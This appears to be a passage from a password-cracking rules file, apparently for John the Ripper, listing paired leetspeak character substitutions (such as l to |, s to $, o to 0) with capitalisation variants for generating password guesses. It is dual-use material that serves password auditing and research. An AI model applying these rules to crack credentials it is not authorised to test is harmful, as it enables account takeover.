-/lsl|/sss$[:c] -/lsl|/sss5[:c] -/lsl|/SsS$[:c] -/lsl|/SsS5[:c] -/lsl|/tst+[:c] -/lsl|/TsT+[:c] -/lsl|/1s1![:c] -/lsl|/1s1i[:c] -/lsl|/1s1I[:c] -/lsl|/1s1|[:c] -/lsl|/0s0o[:c] -/lsl|/0s0O[:c] -/lsl|/3s3e[:c] -/lsl|/3s3E[:c] -/lsl|/4s4a[:c] -/lsl|/4s4A[:c] -/lsl|/5s5s[:c] -/lsl|/5s5S[:c] -/lsl|/7s7l[:c] -/lsl|/7s7L[:c] -/lsl|/8s8b[:c] -/lsl|/8s8B[:c] -/lsl!/asa@[:c] -/lsl!/asa4[:c] -/lsl!/AsA4[:c] -/lsl!/AsA@[:c] -/lsl!/bsb8[:c] -/lsl!/BsB8[:c] -/lsl!/ese3[:c] -/lsl!/EsE3[:c] -/lsl!/isi1[:c] -/lsl!/isi![:c] -/lsl!/isi|[:c] -/lsl!/IsI1[:c] -/lsl!/IsI![:c] -/lsl!/IsI|[:c] -/lsl!/lsl1[:c] -/lsl!/lsl7[:c] -/lsl!/lsl|[:c] -/lsl!/Lsl1[:c] -/lsl!/Lsl7[:c] -/lsl!/Lsl|[:c] -/lsl!/Lsl![:c] -/lsl!/oso0[:c] -/lsl!/OsO0[:c] -/lsl!/sss$[:c] -/lsl!/sss5[:c] -/lsl!/SsS$[:c] -/lsl!/SsS5[:c] -/lsl!/tst+[:c] -/lsl!/TsT+[:c] -/lsl!/1s1![:c] -/lsl!/1s1i[:c] -/lsl!/1s1I[:c] -/lsl!/1s1|[:c] -/lsl!/0s0o[:c] -/lsl!/0s0O[:c] -/lsl!/3s3e[:c] -/lsl!/3s3E[:c] -/lsl!/4s4a[:c] -/lsl!/4s4A[:c] -/lsl!/5s5s[:c] -/lsl!/5s5S[:c] -/lsl!/7s7l[:c] -/lsl!/7s7L[:c] -/lsl!/8s8b[:c] -/lsl!/8s8B[:c] -/Lsl1/asa@[:c] -/Lsl1/asa4[:c] -/Lsl1/AsA4[:c] -/Lsl1/AsA@[:c] -/Lsl1/bsb8[:c] -/Lsl1/BsB8[:c] -/Lsl1/ese3[:c] -/Lsl1/EsE3[:c] -/Lsl1/isi1[:c] -/Lsl1/isi![:c] -/Lsl1/isi|[:c] -/Lsl1/IsI1[:c] -/Lsl1/IsI![:c] -/Lsl1/IsI|[:c] -/Lsl1/lsl1[:c] -/Lsl1/lsl7[:c] -/Lsl1/lsl|[:c] -/Lsl1/lsl![:c] -/Lsl1/oso0[:c] -/Lsl1/OsO0[:c] -/Lsl1/sss$[:c] -/Lsl1/sss5[:c] -/Lsl1/SsS$[:c] -/Lsl1/SsS5[:c] -/Lsl1/tst+[:c] -/Lsl1/TsT+[:c] -/Lsl1/1s1![:c] -/Lsl1/1s1i[:c] -/Lsl1/1s1I[:c] -/Lsl1/1s1|[:c] -/Lsl1/0s0o[:c] -/Lsl1/0s0O[:c] -/Lsl1/3s3e[:c] -/Lsl1/3s3E[:c] -/Lsl1/4s4a[:c] -/Lsl1/4s4A[:c] -/Lsl1/5s5s[:c] -/Lsl1/5s5S[:c] -/Lsl1/7s7l[:c] -/Lsl1/7s7L[:c] -/Lsl1/8s8b[:c] -/Lsl1/8s8B[:c] -/Lsl7/asa@[:c] -/Lsl7/asa4[:c] -/Lsl7/AsA4[:c] -/Lsl7/AsA@[:c] -/Lsl7/bsb8[:c] -/Lsl7/BsB8[:c] -/Lsl7/ese3[:c] -/Lsl7/EsE3[:c] -/Lsl7/isi1[:c] -/Lsl7/isi![:c] -/Lsl7/isi|[:c] -/Lsl7/IsI1[:c] -/Lsl7/IsI![:c] -/Lsl7/IsI|[:c] -/Lsl7/lsl1[:c] -/Lsl7/lsl7[:c] -/Lsl7/lsl|[:c] -/Lsl7/lsl![:c] -/Lsl7/Lsl1[:c] -/Lsl7/Lsl|[:c] -/Lsl7/Lsl![:c] -/Lsl7/oso0[:c] -/Lsl7/OsO0[:c] -/Lsl7/sss$[:c] -/Lsl7/sss5[:c] -/Lsl7/SsS$[:c] -/Lsl7/SsS5[:c] -/Lsl7/tst+[:c] -/Lsl7/TsT+[:c] -/Lsl7/1s1![:c] -/Lsl7/1s1i[:c] -/Lsl7/1s1I[:c] -/Lsl7/1s1|[:c] -/Lsl7/0s0o[:c] -/Lsl7/0s0O[:c] -/Lsl7/3s3e[:c] -/Lsl7/3s3E[:c] -/Lsl7/4s4a[:c] -/Lsl7/4s4A[:c] -/Lsl7/5s5s[:c] -/Lsl7/5s5S[:c] -/Lsl7/7s7l[:c] -/Lsl7/7s7L[:c] -/Lsl7/8s8b[:c] -/Lsl7/8s8B[:c] -/Lsl|/asa@[:c] -/Lsl|/asa4[:c] -/Lsl|/AsA4[:c] -/Lsl|/AsA@[:c] -/Lsl|/bsb8[:c] -/Lsl|/BsB8[:c] -/Lsl|/ese3[:c] -/Lsl|/EsE3[:c] -/Lsl|/isi1[:c] -/Lsl|/isi![:c] -/Lsl|/isi|[:c] -/Lsl|/IsI1[:c] -/Lsl|/IsI![:c] -/Lsl|/IsI|[:c] -/Lsl|/lsl1[:c] -/Lsl|/lsl7[:c] -/Lsl|/lsl|[:c] -/Lsl|/lsl![:c] -/Lsl|/oso0[:c] -/Lsl|/OsO0[:c] -/Lsl|/sss$[:c] -/Lsl|/sss5[:c] -/Lsl|/SsS$[:c] -/Lsl|/SsS5[:c] -/Lsl|/tst+[:c] -/Lsl|/TsT+[:c] -/Lsl|/1s1![:c] -/Lsl|/1s1i[:c] -/Lsl|/1s1I[:c] -/Lsl|/1s1|[:c] -/Lsl|/0s0o[:c] -/Lsl|/0s0O[:c] -/Lsl|/3s3e[:c] -/Lsl|/3s3E[:c] -/Lsl|/4s4a[:c] -/Lsl|/4s4A[:c] -/Lsl|/5s5s[:c] -/Lsl|/5s5S[:c] -/Lsl|/7s7l[:c] -/Lsl|/7s7L[:c] -/Lsl|/8s8b[:c] -/Lsl|/8s8B[:c] -/Lsl!/asa@[:c] -/Lsl!/asa4[:c] -/Lsl!/AsA4[:c] -/Lsl!/AsA@[:c] -/Lsl!/bsb8[:c] -/Lsl!/BsB8[:c] -/Lsl!/ese3[:c] -/Lsl!/EsE3[:c] -/Lsl!/isi1[:c] -/Lsl!/isi![:c] -/Lsl!/isi|[:c] -/Lsl!/IsI1[:c] -/Lsl!/IsI![:c] -/Lsl!/IsI|[:c] -/Lsl!/lsl1[:c] -/Lsl!/lsl7[:c] -/Lsl!/lsl|[:c] -/Lsl!/lsl![:c] -/Lsl!/oso0[:c] -/Lsl!/OsO0[:c] -/Lsl!/sss$[:c] -/Lsl!/sss5[:c] -/Lsl!/SsS$[:c] -/Lsl!/SsS5[:c] -/Lsl!/tst+[:c] -/Lsl!/TsT+[:c] -/Lsl!/1s1![:c] -/Lsl!/1s1i[:c] -/Lsl!/1s1I[:c] -/Lsl!/1s1|[:c] -/Lsl!/0s0o[:c] -/Lsl!/0s0O[:c] -/Lsl!/3s3e[:c] -/Lsl!/3s3E[:c] -/Lsl!/4s4a[:c] -/Lsl!/4s4A[:c] -/Lsl!/5s5s[:c] -/Lsl!/5s5S[:c] -/Lsl!/7s7l[:c] -/Lsl!/7s7L[:c] -/Lsl!/8s8b[:c] -/Lsl!/8s8B[:c] -/oso0/asa@[:c] -/oso0/asa4[:c] -/oso0/AsA4[:c] -/oso0/AsA@[:c] -/oso0/bsb8[:c] -/oso0/BsB8[:c] -/oso0/ese3[:c] -/oso0/EsE3[:c] -/oso0/isi1[:c] -/oso0/isi![:c] -/oso0/isi|[:c] -/oso0/IsI1[:c] -/oso0/IsI![:c] -/oso0/IsI|[:c] -/oso0/lsl1[:c] -/oso0/lsl7[:c] -/oso0/lsl|[:c] -/oso0/lsl![:c] -/oso0/Lsl1[:c] -/oso0/Lsl7[:c] -/oso0/Lsl|[:c] -/oso0/Lsl![:c] -/oso0/OsO0[:c] -/oso0/sss$[:c] -/oso0/sss5[:c] -/oso0/SsS$[:c] -/oso0/SsS5[:c] -/oso0/tst+[:c] -/oso0/TsT+[:c] -/oso0/1s1![:c] -/oso0/1s1i[:c] -/oso0/1s1I[:c] -/oso0/1s1|[:c] -/oso0/0s0o[:c] -/oso0/0s0O[:c] -/oso0/3s3e[:c] -/oso0/3s3E[:c] -/oso0/4s4a[:c] -/oso0/4s4A[:c] -/oso0/5s5s[:c] -/oso0/5s5S[:c] -/oso0/7s7l[:c] -/oso0/7s7L[:c] -/oso0/8s8b[:c] -/oso0/8s8B[:c] -/OsO0/asa@[:c] -/OsO0/asa4[:c] -/OsO0/AsA4[:c] -/OsO0/AsA@[:c] -/OsO0/bsb8[:c] -/OsO0/BsB8[:c] -/OsO0/ese3[:c] -/OsO0/EsE3[:c] -/OsO0/isi1[:c] -/OsO0/isi![:c] -/OsO0/isi|[:c] -/OsO0/IsI1[:c] -/OsO0/IsI![:c] -/OsO0/IsI|[:c] -/OsO0/lsl1[:c] -/OsO0/lsl7[:c] -/OsO0/lsl|[:c] -/OsO0/lsl![:c] -/OsO0/Lsl1[:c] -/OsO0/Lsl7[:c] -/OsO0/Lsl|[:c] -/OsO0/Lsl![:c] -/OsO0/oso0[:c] -/OsO0/sss$[:c] -/OsO0/sss5[:c] -/OsO0/SsS$[:c] -/OsO0/SsS5[:c] -/OsO0/tst+[:c] -/OsO0/TsT+[:c] -/OsO0/1s1![:c] -/OsO0/1s1i[:c] -/OsO0/1s1I[:c] -/OsO0/1s1|[:c] -/OsO0/0s0o[:c] -/OsO0/0s0O[:c] -/OsO0/3s3e[:c] -/OsO0/3s3E[:c] -/OsO0/4s4a[:c] -/OsO0/4s4A[:c] -/OsO0/5s5s[:c] -/OsO0/5s5S[:c] -/OsO0/7s7l[:c] -/OsO0/7s7L[:c] -/OsO0/8s8b[:c] -/OsO0/8s8B[:c] -/sss$/asa@[:c] -/sss$/asa4[:c] -/sss$/AsA4[:c] -/sss$/AsA@[:c] -/sss$/bsb8[:c] -/sss$/BsB8[:c] -/sss$/ese3[:c] -/sss$/EsE3[:c] -/sss$/isi1[:c] -/sss$/isi![:c] -/sss$/isi|[:c] -/sss$/IsI1[:c] -/sss$/IsI![:c] -/sss$/IsI|[:c] -/sss$/lsl1[:c] -/sss$/lsl7[:c] -/sss$/lsl|[:c] -/sss$/lsl![:c] -/sss$/Lsl1[:c] -/sss$/Lsl7[:c] -/sss$/Lsl|[:c] -/sss$/Lsl![:c] -/sss$/oso0[:c] -/sss$/OsO0[:c] -/sss$/SsS$[:c] -/sss$/SsS5[:c] -/sss$/tst+[:c] -/sss$/TsT+[:c] -/sss$/1s1![:c] -/sss$/1s1i[:c] -/sss$/1s1I[:c] -/sss$/1s1|[:c] -/sss$/0s0o[:c] -/sss$/0s0O[:c] -/sss$/3s3e[:c] -/sss$/3s3E[:c] -/sss$/4s4a[:c] -/sss$/4s4A[:c] -/sss$/5s5s[:c] -/sss$/5s5S[:c] -/sss$/7s7l[:c] -/sss$/7s7L[:c] -/sss$/8s8b[:c] -/sss$/8s8B[:c] -/sss5/asa@[:c] -/sss5/asa4[:c] -/sss5/AsA4[:c] -/sss5/AsA@[:c] -/sss5/bsb8[:c] -/sss5/BsB8[:c] -/sss5/ese3[:c] -/sss5/EsE3[:c] -/sss5/isi1[:c] -/sss5/isi![:c] -/sss5/isi|[:c] -/sss5/IsI1[:c] -/sss5/IsI![:c] -/sss5/IsI|[:c] -/sss5/lsl1[:c] -/sss5/lsl7[:c] -/sss5/lsl|[:c] -/sss5/lsl![:c] -/sss5/Lsl1[:c] -/sss5/Lsl7[:c] -/sss5/Lsl|[:c] -/sss5/Lsl![:c] -/sss5/oso0[:c] -/sss5/OsO0[:c] -/sss5/SsS$[:c] -/sss5/SsS5[:c] -/sss5/tst+[:c] -/sss5/TsT+[:c] -/sss5/1s1![:c] -/sss5/1s1i[:c] -/sss5/1s1I[:c] -/sss5/1s1|[:c] -/sss5/0s0o[:c] -/sss5/0s0O[:c] -/sss5/3s3e[:c] -/sss5/3s3E[:c] -/sss5/4s4a[:c] -/sss5/4s4A[:c] -/sss5/5s5s[:c] -/sss5/5s5S[:c] -/sss5/7s7l[:c] -/sss5/7s7L[:c] -/sss5/8s8b[:c] -/sss5/8s8B[:c] -/SsS$/asa@[:c] -/SsS$/asa4[:c] -/SsS$/AsA4[:c] -/SsS$/AsA@[:c] -/SsS$/bsb8[:c] -/SsS$/BsB8[:c] -/SsS$/ese3[:c] -/SsS$/EsE3[:c] -/SsS$/isi1[:c] -/SsS$/isi![:c] -/SsS$/isi|[:c] -/SsS$/IsI1[:c] -/SsS$/IsI![:c] -/SsS$/IsI|[:c] -/SsS$/lsl1[:c] -/SsS$/lsl7[:c] -/SsS$/lsl|[:c] -/SsS$/lsl![:c] -/SsS$/Lsl1[:c] -/SsS$/Lsl7[:c] -/SsS$/Lsl|[:c] -/SsS$/Lsl![:c] -/SsS$/oso0[:c] -/SsS$/OsO0[:c] -/SsS$/sss$[:c] -/SsS$/sss5[:c] -/SsS$/tst+[:c] -/SsS$/TsT+[:c] -/SsS$/1s1![:c] -/SsS$/1s1i[:c] -/SsS$/1s1I[:c] -/SsS$/1s1|[:c] -/SsS$/0s0o[:c] -/SsS$/0s0O[:c] -/SsS$/3s3e[:c] -/SsS$/3s3E[:c] -/SsS$/4s4a[:c] -/SsS$/4s4A[:c] -/SsS$/5s5s[:c] -/SsS$/5s5S[:c] -/SsS$/7s7l[:c] -/SsS$/7s7L[:c] -/SsS$/8s8b[:c] -/SsS$/8s8B[:c] -/SsS5/asa@[:c] -/SsS5/asa4[:c] -/SsS5/AsA4[:c] -/SsS5/AsA@[:c] -/SsS5/bsb8[:c] -/SsS5/BsB8[:c] -/SsS5/ese3[:c] -/SsS5/EsE3[:c] -/SsS5/isi1[:c] -/SsS5/isi![:c] -/SsS5/isi|[:c] -/SsS5/IsI1[:c] -/SsS5/IsI![:c] -/SsS5/IsI|[:c] -/SsS5/lsl1[:c] -/SsS5/lsl7[:c] -/SsS5/lsl|[:c] -/SsS5/lsl![:c] -/SsS5/Lsl1[:c] -/SsS5/Lsl7[:c] -/SsS5/Lsl|[:c] -/SsS5/Lsl![:c] -/SsS5/oso0[:c] -/SsS5/OsO0[:c] -/SsS5/sss$[:c] -/SsS5/sss5[:c] -/SsS5/tst+[:c] -/SsS5/TsT+[:c] -/SsS5/1s1![:c] -/SsS5/1s1i[:c] -/SsS5/1s1I[:c] -/SsS5/1s1|[:c] -/SsS5/0s0o[:c] -/SsS5/0s0O[:c] -/SsS5/3s3e[:c] -/SsS5/3s3E[:c] -/SsS5/4s4a[:c] -/SsS5/4s4A[:c] -/SsS5/5s5s[:c] -/SsS5/5s5S[:c] -/SsS5/7s7l[:c] -/SsS5/7s7L[:c] -/SsS5/8s8b[:c] -/SsS5/8s8B[:c] -/tst+/asa@[:c] -/tst+/asa4[:c] -/tst+/AsA4[:c] -/tst+/AsA@[:c] -/tst+/bsb8[:c] -/tst+/BsB8[:c] -/tst+/ese3[:c] -/tst+/EsE3[:c] -/tst+/isi1[:c] -/tst+/isi![:c] -/tst+/isi|[:c] -/tst+/IsI1[:c] -/tst+/IsI![:c] -/tst+/IsI|[:c] -/tst+/lsl1[:c] -/tst+/lsl7[:c] -/tst+/lsl|[:c] -/tst+/lsl![:c] -/tst+/Lsl1[:c] -/tst+/Lsl7[:c] -/tst+/Lsl|[:c] -/tst+/Lsl![:c] -/tst+/oso0[:c] -/tst+/OsO0[:c] -/tst+/sss$[:c] -/tst+/sss5[:c] -/tst+/SsS$[:c] -/tst+/SsS5[:c] -/tst+/TsT+[:c] -/tst+/1s1![:c] -/tst+/1s1i[:c] -/tst+/1s1I[:c] -/tst+/1s1|[:c] -/tst+/0s0o[:c] -/tst+/0s0O[:c] -/tst+/3s3e[:c] -/tst+/3s3E[:c] -/tst+/4s4a[:c] -/tst+/4s4A[:c] -/tst+/5s5s[:c] -/tst+/5s5S[:c] -/tst+/7s7l[:c] -/tst+/7s7L[:c] -/tst+/8s8b[:c] -/tst+/8s8B[:c] -/TsT+/asa@[:c] -/TsT+/asa4[:c] -/TsT+/AsA4[:c] -/TsT+/AsA@[:c] -/TsT+/bsb8[:c] -/TsT+/BsB8[:c] -/TsT+/ese3[:c] -/TsT+/EsE3[:c] -/TsT+/isi1[:c] -/TsT+/isi![:c] -/TsT+/isi|[:c] -/TsT+/IsI1[:c] -/TsT+/IsI![:c] -/TsT+/IsI|[:c] -/TsT+/lsl1[:c] -/TsT+/lsl7[:c] -/TsT+/lsl|[:c] -/TsT+/lsl![:c] -/TsT+/Lsl1[:c] -/TsT+/Lsl7[:c] -/TsT+/Lsl|[:c] -/TsT+/Lsl![:c] -/TsT+/oso0[:c] -/TsT+/OsO0[:c] -/TsT+/sss$[:c] -/TsT+/sss5[:c] -/TsT+/SsS$[:c] -/TsT+/SsS5[:c] -/TsT+/tst+[:c] -/TsT+/1s1![:c] -/TsT+/1s1i[:c] -/TsT+/1s1I[:c] -/TsT+/1s1|[:c] -/TsT+/0s0o[:c] -/TsT+/0s0O[:c] -/TsT+/3s3e[:c] -/TsT+/3s3E[:c] -/TsT+/4s4a[:c] -/TsT+/4s4A[:c] -/TsT+/5s5s[:c] -/TsT+/5s5S[:c] -/TsT+/7s7l[:c] -/TsT+/7s7L[:c] -/TsT+/8s8b[:c] -/TsT+/8s8B[:c] -/1s1!/asa@[:c] -/1s1!/asa4[:c] -/1s1!/AsA4[:c] -/1s1!/AsA@[:c] -/1s1!/bsb8[:c] -/1s1!/BsB8[:c] -/1s1!/ese3[:c] -/1s1!/EsE3[:c] -/1s1!/isi1[:c] -/1s1!/isi![:c] -/1s1!/isi|[:c] -/1s1!/IsI1[:c] -/1s1!/IsI![:c] -/1s1!/IsI|[:c] -/1s1!/lsl1[:c] -/1s1!/lsl7[:c] -/1s1!/lsl|[:c] -/1s1!/lsl![:c] -/1s1!/Lsl1[:c] -/1s1!/Lsl7[:c] -/1s1!/Lsl|[:c] -/1s1!/Lsl![:c] -/1s1!/oso0[:c] -/1s1!/OsO0[:c] -/1s1!/sss$[:c] -/1s1!/sss5[:c] -/1s1!/SsS$[:c] -/1s1!/SsS5[:c] -/1s1!/tst+[:c] -/1s1!/TsT+[:c] -/1s1!/0s0o[:c] -/1s1!/0s0O[:c] -/1s1!/3s3e[:c] -/1s1!/3s3E[:c] -/1s1!/4s4a[:c] -/1s1!/4s4A[:c] -/1s1!/5s5s[:c] -/1s1!/5s5S[:c] -/1s1!/7s7l[:c] -/1s1!/7s7L[:c] -/1s1!/8s8b[:c] -/1s1!/8s8B[:c] -/1s1i/asa@[:c] -/1s1i/asa4[:c] -/1s1i/AsA4[:c] -/1s1i/AsA@[:c] -/1s1i/bsb8[:c] -/1s1i/BsB8[:c] -/1s1i/ese3[:c] -/1s1i/EsE3[:c] -/1s1i/isi1[:c] -/1s1i/isi![:c] -/1s1i/isi|[:c] -/1s1i/IsI1[:c] -/1s1i/IsI![:c] -/1s1i/IsI|[:c] -/1s1i/lsl1[:c] -/1s1i/lsl7[:c] -/1s1i/lsl|[:c] -/1s1i/lsl![:c] -/1s1i/Lsl1[:c] -/1s1i/Lsl7[:c] -/1s1i/Lsl|[:c] -/1s1i/Lsl![:c] -/1s1i/oso0[:c] -/1s1i/OsO0[:c] -/1s1i/sss$[:c] -/1s1i/sss5[:c] -/1s1i/SsS$[:c] -/1s1i/SsS5[:c] -/1s1i/tst+[:c] -/1s1i/TsT+[:c] -/1s1i/0s0o[:c] -/1s1i/0s0O[:c] -/1s1i/3s3e[:c] -/1s1i/3s3E[:c] -/1s1i/4s4a[:c] -/1s1i/4s4A[:c] -/1s1i/5s5s[:c] -/1s1i/5s5S[:c] -/1s1i/7s7l[:c] -/1s1i/7s7L[:c] -/1s1i/8s8b[:c] -/1s1i/8s8B[:c] -/1s1I/asa@[:c] -/1s1I/asa4[:c] -/1s1I/AsA4[:c] -/1s1I/AsA@[:c] -/1s1I/bsb8[:c] -/1s1I/BsB8[:c] -/1s1I/ese3[:c] -/1s1I/EsE3[:c] -/1s1I/isi1[:c] -/1s1I/isi![:c] -/1s1I/isi|[:c] -/1s1I/IsI1[:c] -/1s1I/IsI![:c] -/1s1I/IsI|[:c] -/1s1I/lsl1[:c] -/1s1I/lsl7[:c] -/1s1I/lsl|[:c] -/1s1I/lsl![:c] -/1s1I/Lsl1[:c] -/1s1I/Lsl7[:c] -/1s1I/Lsl|[:c] -/1s1I/Lsl![:c] -/1s1I/oso0[:c] -/1s1I/OsO0[:c] -/1s1I/sss$[:c] -/1s1I/sss5[:c] -/1s1I/SsS$[:c] -/1s1I/SsS5[:c] -/1s1I/tst+[:c] -/1s1I/TsT+[:c] -/1s1I/1s1![:c] -/1s1I/1s1i[:c] -/1s1I/1s1|[:c] -/1s1I/0s0o[:c] -/1s1I/0s0O[:c] -/1s1I/3s3e[:c] -/1s1I/3s3E[:c] -/1s1I/4s4a[:c] -/1s1I/4s4A[:c] -/1s1I/5s5s[:c] -/1s1I/5s5S[:c] -/1s1I/7s7l[:c] -/1s1I/7s7L[:c] -/1s1I/8s8b[:c] -/1s1I/8s8B[:c] -/1s1|/asa@[:c] -/1s1|/asa4[:c] -/1s1|/AsA4[:c] -/1s1|/AsA@[:c] -/1s1|/bsb8[:c] -/1s1|/BsB8[:c] -/1s1|/ese3[:c] -/1s1|/EsE3[:c] -/1s1|/isi1[:c] -/1s1|/isi![:c] -/1s1|/isi|[:c] -/1s1|/IsI1[:c] -/1s1|/IsI![:c] -/1s1|/IsI|[:c] -/1s1|/lsl1[:c] -/1s1|/lsl7[:c] -/1s1|/lsl|[:c] -/1s1|/lsl![:c] -/1s1|/Lsl1[:c] -/1s1|/Lsl7[:c] -/1s1|/Lsl|[:c] -/1s1|/Lsl![:c] -/1s1|/oso0[:c] -/1s1|/OsO0[:c] -/1s1|/sss$[:c] -/1s1|/sss5[:c] -/1s1|/SsS$[:c] -/1s1|/SsS5[:c] -/1s1|/tst+[:c] -/1s1|/TsT+[:c] -/1s1|/1s1![:c] -/1s1|/1s1i[:c] -/1s1|/1s1I[:c] -/1s1|/0s0o[:c] -/1s1|/0s0O[:c] -/1s1|/3s3e[:c] -/1s1|/3s3E[:c] -/1s1|/4s4a[:c] -/1s1|/4s4A[:c] -/1s1|/5s5s[:c] -/1s1|/5s5S[:c] -/1s1|/7s7l[:c] -/1s1|/7s7L[:c] -/1s1|/8s8b[:c] -/1s1|/8s8B[:c] -/0s0o/asa@[:c] -/0s0o/asa4[:c] -/0s0o/AsA4[:c] -/0s0o/AsA@[:c] -/0s0o/bsb8[:c] -/0s0o/BsB8[:c] -/0s0o/ese3[:c] -/0s0o/EsE3[:c] -/0s0o/isi1[:c] -/0s0o/isi![:c] -/0s0o/isi|[:c] -/0s0o/IsI1[:c] -/0s0o/IsI![:c] -/0s0o/IsI|[:c] -/0s0o/lsl1[:c] -/0s0o/lsl7[:c] -/0s0o/lsl|[:c] -/0s0o/lsl![:c] -/0s0o/Lsl1[:c] -/0s0o/Lsl7[:c] -/0s0o/Lsl|[:c] -/0s0o/Lsl![:c] -/0s0o/oso0[:c] -/0s0o/OsO0[:c] -/0s0o/sss$[:c] -/0s0o/sss5[:c] -/0s0o/SsS$[:c] -/0s0o/SsS5[:c] -/0s0o/tst+[:c] -/0s0o/TsT+[:c] -/0s0o/1s1![:c] -/0s0o/1s1i[:c] -/0s0o/1s1I[:c] -/0s0o/1s1|[:c] -/0s0o/3s3e[:c] -/0s0o/3s3E[:c] -/0s0o/4s4a[:c] -/0s0o/4s4A[:c] -/0s0o/5s5s[:c] -/0s0o/5s5S[:c] -/0s0o/7s7l[:c] -/0s0o/7s7L[:c] -/0s0o/8s8b[:c] -/0s0o/8s8B[:c] -/0s0O/asa@[:c] -/0s0O/asa4[:c] -/0s0O/AsA4[:c] -/0s0O/AsA@[:c] -/0s0O/bsb8[:c] -/0s0O/BsB8[:c] -/0s0O/ese3[:c] -/0s0O/EsE3[:c] -/0s0O/isi1[:c] -/0s0O/isi![:c] -/0s0O/isi|[:c] -/0s0O/IsI1[:c] -/0s0O/IsI![:c] -/0s0O/IsI|[:c] -/0s0O/lsl1[:c] -/0s0O/lsl7[:c] -/0s0O/lsl|[:c] -/0s0O/lsl![:c] -/0s0O/Lsl1[:c] -/0s0O/Lsl7[:c] -/0s0O/Lsl|[:c] -/0s0O/Lsl![:c] -/0s0O/oso0[:c] -/0s0O/OsO0[:c] -/0s0O/sss$[:c] -/0s0O/sss5[:c] -/0s0O/SsS$[:c] -/0s0O/SsS5[:c] -/0s0O/tst+[:c] -/0s0O/TsT+[:c] -/0s0O/1s1![:c] -/0s0O/1s1i[:c] -/0s0O/1s1I[:c] -/0s0O/1s1|[:c] -/0s0O/3s3e[:c] -/0s0O/3s3E[:c] -/0s0O/4s4a[:c] -/0s0O/4s4A[:c] -/0s0O/5s5s[:c] -/0s0O/5s5S[:c] -/0s0O/7s7l[:c] -/0s0O/7s7L[:c] -/0s0O/8s8b[:c] -/0s0O/8s8B[:c] -/3s3e/asa@[:c] -/3s3e/asa4[:c] -/3s3e/AsA4[:c] -/3s3e/AsA@[:c] -/3s3e/bsb8[:c] -/3s3e/BsB8[:c] -/3s3e/ese3[:c] -/3s3e/EsE3[:c] -/3s3e/isi1[:c] -/3s3e/isi![:c] -/3s3e/isi|[:c] -/3s3e/IsI1[:c] -/3s3e/IsI![:c] -/3s3e/IsI|[:c] -/3s3e/lsl1[:c] -/3s3e/lsl7[:c] -/3s3e/lsl|[:c] -/3s3e/lsl![:c] -/3s3e/Lsl1[:c] -/3s3e/Lsl7[:c] -/3s3e/Lsl|[:c] -/3s3e/Lsl![:c] -/3s3e/oso0[:c] -/3s3e/OsO0[:c] -/3s3e/sss$[:c] -/3s3e/sss5[:c] -/3s3e/SsS$[:c] -/3s3e/SsS5[:c] -/3s3e/tst+[:c] -/3s3e/TsT+[:c] -/3s3e/1s1![:c] -/3s3e/1s1i[:c] -/3s3e/1s1I[:c] -/3s3e/1s1|[:c] -/3s3e/0s0o[:c] -/3s3e/0s0O[:c] -/3s3e/4s4a[:c] -/3s3e/4s4A[:c] -/3s3e/5s5s[:c] -/3s3e/5s5S[:c] -/3s3e/7s7l[:c] -/3s3e/7s7L[:c] -/3s3e/8s8b[:c] -/3s3e/8s8B[:c] -/3s3E/asa@[:c] -/3s3E/asa4[:c] -/3s3E/AsA4[:c] -/3s3E/AsA@[:c] -/3s3E/bsb8[:c] -/3s3E/BsB8[:c] -/3s3E/ese3[:c] -/3s3E/EsE3[:c] -/3s3E/isi1[:c] -/3s3E/isi![:c] -/3s3E/isi|[:c] -/3s3E/IsI1[:c] -/3s3E/IsI![:c] -/3s3E/IsI|[:c] -/3s3E/lsl1[:c] -/3s3E/lsl7[:c] -/3s3E/lsl|[:c] -/3s3E/lsl![:c] -/3s3E/Lsl1[:c] -/3s3E/Lsl7[:c] -/3s3E/Lsl|[:c] -/3s3E/Lsl![:c] -/3s3E/oso0[:c] -/3s3E/OsO0[:c] -/3s3E/sss$[:c] -/3s3E/sss5[:c] -/3s3E/SsS$[:c] -/3s3E/SsS5[:c] -/3s3E/tst+[:c] -/3s3E/TsT+[:c] -/3s3E/1s1![:c] -/3s3E/1s1i[:c] -/3s3E/1s1I[:c] -/3s3E/1s1|[:c] -/3s3E/0s0o[:c] -/3s3E/0s0O[:c] -/3s3E/4s4a[:c] -/3s3E/4s4A[:c] -/3s3E/5s5s[:c] -/3s3E/5s5S[:c] -/3s3E/7s7l[:c] -/3s3E/7s7L[:c] -/3s3E/8s8b[:c] -/3s3E/8s8B[:c] -/4s4a/asa@[:c] -/4s4a/asa4[:c] -/4s4a/AsA4[:c] -/4s4a/AsA@[:c] -/4s4a/bsb8[:c] -/4s4a/BsB8[:c] -/4s4a/ese3[:c] -/4s4a/EsE3[:c] -/4s4a/isi1[:c] -/4s4a/isi![:c] -/4s4a/isi|[:c] -/4s4a/IsI1[:c] -/4s4a/IsI![:c] -/4s4a/IsI|[:c] -/4s4a/lsl1[:c] -/4s4a/lsl7[:c] -/4s4a/lsl|[:c] -/4s4a/lsl![:c] -/4s4a/Lsl1[:c] -/4s4a/Lsl7[:c] -/4s4a/Lsl|[:c] -/4s4a/Lsl![:c] -/4s4a/oso0[:c] -/4s4a/OsO0[:c] -/4s4a/sss$[:c] -/4s4a/sss5[:c] -/4s4a/SsS$[:c] -/4s4a/SsS5[:c] -/4s4a/tst+[:c] -/4s4a/TsT+[:c] -/4s4a/1s1![:c] -/4s4a/1s1i[:c] -/4s4a/1s1I[:c] -/4s4a/1s1|[:c] -/4s4a/0s0o[:c] -/4s4a/0s0O[:c] -/4s4a/3s3e[:c] -/4s4a/3s3E[:c] -/4s4a/5s5s[:c] -/4s4a/5s5S[:c] -/4s4a/7s7l[:c] -/4s4a/7s7L[:c] -/4s4a/8s8b[:c] -/4s4a/8s8B[:c] -/4s4A/asa@[:c] -/4s4A/asa4[:c] -/4s4A/AsA4[:c] -/4s4A/AsA@[:c] -/4s4A/bsb8[:c] -/4s4A/BsB8[:c] -/4s4A/ese3[:c] -/4s4A/EsE3[:c] -/4s4A/isi1[:c] -/4s4A/isi![:c] -/4s4A/isi|[:c] -/4s4A/IsI1[:c] -/4s4A/IsI![:c] -/4s4A/IsI|[:c] -/4s4A/lsl1[:c] -/4s4A/lsl7[:c] -/4s4A/lsl|[:c] -/4s4A/lsl![:c] -/4s4A/Lsl1[:c] -/4s4A/Lsl7[:c] -/4s4A/Lsl|[:c] -/4s4A/Lsl![:c] -/4s4A/oso0[:c] -/4s4A/OsO0[:c] -/4s4A/sss$[:c] -/4s4A/sss5[:c] -/4s4A/SsS$[:c] -/4s4A/SsS5[:c] -/4s4A/tst+[:c] 